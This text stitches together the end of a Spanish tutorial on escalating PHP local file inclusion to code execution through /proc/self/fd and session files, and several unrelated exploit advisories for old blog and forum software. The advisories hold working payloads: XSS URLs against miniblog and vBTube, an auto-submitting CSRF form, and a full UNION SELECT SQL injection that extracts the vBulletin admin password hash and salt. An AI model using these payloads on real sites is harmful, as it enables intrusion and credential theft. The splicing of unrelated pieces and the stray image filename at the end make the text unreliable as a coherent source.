Dentro de los directorios ya sea /proc/self/fd/ o /dev/fd/ podemos encontrar ciertos archivos con la siguiente estructura:
/proc/self/fd/x
/dev/fd/x
Siendo x un número.
Estos archivos están directamente relacionados con algunos procesos y registros del sistema. Por lo que quizás, uno de estos archivos puede que nos muestre información del servidor web al que estamos accediendo, y, con ello, algún campo que sea editable por nosotros.
Este post explica bastante bien esto, además, en un caso real de Bug Bounty.
PHP Sessions
Este otro método es bastante curioso y que podemos ver con un ejemplo en el siguiente enlace. Cuando el servidor nos proporciona una cookie de sesión PHPSESSID, esta, se almacena en el sistema, normalmente en una ruta como:
/var/lib/php/sessions/
U otra parecida. Y con nombre: sess_<PHPSESSID>
La ruta de almacenamiento de las cookies de sesión la determina la variable de entorno session.save_path, la cual por defecto está vacía
Por lo que la ruta completa sería:
/var/lib/php/sessions/sess_<PHPSESSID>
Si somos capaces de acceder y leer el archivo de la sesión mediante el LFI. Podemos encontrarnos campos que quizás podemos manipular y cambiar su valor a un código PHP.
Conclusión LFI a RCE
Hemos visto muchas posibles técnicas arribas, pero realmente, al final, el objetivo con cada una de ellas es llegar a leer un código PHP mediante el LFI que tenemos. Por lo que, aunque conocer las técnicas mencionadas nos puede venir super bien. Es nuestra misión analizar el caso concreto en el que nos encontramos y ver en que archivo podemos llegar a controlar su contenido para, mediante el LFI, leerlo y obtener RCE.
OJO, no cometamos el fallo mencionado al principio de limitar el LFI a PHP, lo importante es quedarnos con el concepto de la vulnerabilidad. Ya que por ejemplo, en un IIS, podemos hacer lo mismo, pero en vez de con archivos PHP, con ASPX o ASP.
Referencias
EXPLOITING PHP PATH TRUNCATION [PHP < 5.3]
Local File Inclusion (LFI)
How can I use this path bypass/exploit Local File Inclusion?
RCE via LFI Log Poisoning – The Death Potion
#BugBounty — “Journey from LFI to RCE!!!”-How I was able to get the same in one of the India’s popular property buy/sell company.
source: https://www.securityfocus.com/bid/48339/info
Nibbleblog is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
Nibbleblog 3.0 is affected; other versions may also be vulnerable.
http://www.example.com/index.php?page=[SQLi]
http://www.example.com/post.php?idpost=[SQLi]
source: https://www.securityfocus.com/bid/48317/info
myBloggie is prone to a SQL-injection vulnerabilities and an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input.
An attacker may leverage these issues to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is viewed, and launch other attacks.
myBloggie 2.1.6 is vulnerable; other versions may also be affected.
<?php
//trackback.php - Line 33 - 35
$url=urldecode($_REQUEST['url']);
if (validate_url($url)==false) { $tback->trackback_reply(1, "<p>Sorry, Trackback failed.. Reason : URL not valid</p>"); }
?>
<?php
//trackback.php - Line 750
function validate_url($url) {
if ( ! preg_match('#^http\\:\\/\\/[a-z0-9\-]+\.([a-z0-9\-]+\.)?[a-z]+#i', $url, $matches) ) {
return false;
} else {
return true;
}
}
?>
source: https://www.securityfocus.com/bid/48281/info
miniblog is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker can exploit these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
miniblog 1.0.0 is vulnerable; other versions may also be affected.
http://www.example.com/adm/list.php?post_list=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/adm/login.php?error_text=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/adm/options.php?response_text=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/adm/password.php?response_text=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/adm/edit.php?response_text=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/adm/edit.php?mode=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
<form action="http://www.example.com/adm/admin.php?mode=add&id=" method="post">
<input type="hidden" name="data[post_title]" value="csrf">
<input type="hidden" name="data[post_content]" value="csrf">
<input type="hidden" name="data[published]" value="1">
<input type="hidden" name="miniblog_PostBack" value="Add">
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>
source: https://www.securityfocus.com/bid/48280/info
vBTube is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
vBTube 1.2.9 is vulnerable; other versions may also be affected.
http://www.example.com/cy/vBTube.php?page=1&do=user&uname="><script>alert(1);</script>
http://www.example.com/forum/vBTube.php?do=view&vidid=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E
# Exploit Title: vBulletin vBSSO Single Sign-On – <= 1.4.14 – SQL Injection
# Date: January 20, 2015
# Exploit Author: Technidev (https://technidev.com)
# Vendor Homepage: https://vbulletin.com
# Software Link: http://www.vbulletin.org/forum/showthread.php?t=270517
# Version: <= 1.4.14, patched in >= 1.4.15
This plugin is vulnerable to SQL injection at the /vbsso/avatar.php file
in the fetchUserinfo function.
It requires a big UNION ALL SELECT query and commenting out the LIMIT
function of SQL. If SQL injection is a success, the browser will
redirect the user to a URL where the URL contains the extracted information.
To exploit this, you need to execute a rather large UNION ALL SELECT
query like this:
http://example.com/vbsso/vbsso.php?a=act&do=avatar&id=' or user.userid =
1 UNION ALL SELECT userfield.*, usertextfield.*, user.*,
usergroup.genericpermissions, UNIX_TIMESTAMP(passworddate) AS
passworddate, IF(displaygroupid=0, user.usergroupid, displaygroupid) AS
displaygroupid, concat(user.password, 0x3a, user.salt) AS avatarpath,
NOT ISNULL(customavatar.userid) AS hascustomavatar,
customavatar.dateline AS avatardateline, customavatar.width AS avwidth,
customavatar.height AS avheight, customavatar.height_thumb AS
avheight_thumb, customavatar.width_thumb AS avwidth_thumb,
customavatar.filedata_thumb FROM user AS user LEFT JOIN userfield AS
userfield ON (user.userid = userfield.userid) LEFT JOIN usergroup AS
usergroup ON (usergroup.usergroupid = user.usergroupid) LEFT JOIN
usertextfield AS usertextfield ON (usertextfield.userid = user.userid)
LEFT JOIN avatar AS avatar ON (avatar.avatarid = user.avatarid) LEFT
JOIN customavatar AS customavatar ON (customavatar.userid = user.userid)
WHERE user.userid = 1 ORDER BY avatarpath DESC%23
For example, by visiting this URL on a vulnerable forum, you will be
redirected to
http://example.com/9d0d647f535a4c1f493eabf3d69ca89a:nO^sh9;TVNxGJ”X’+3cYkq9Z4Cd3WS
which obviously contains the hash and salt of userid 1.
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
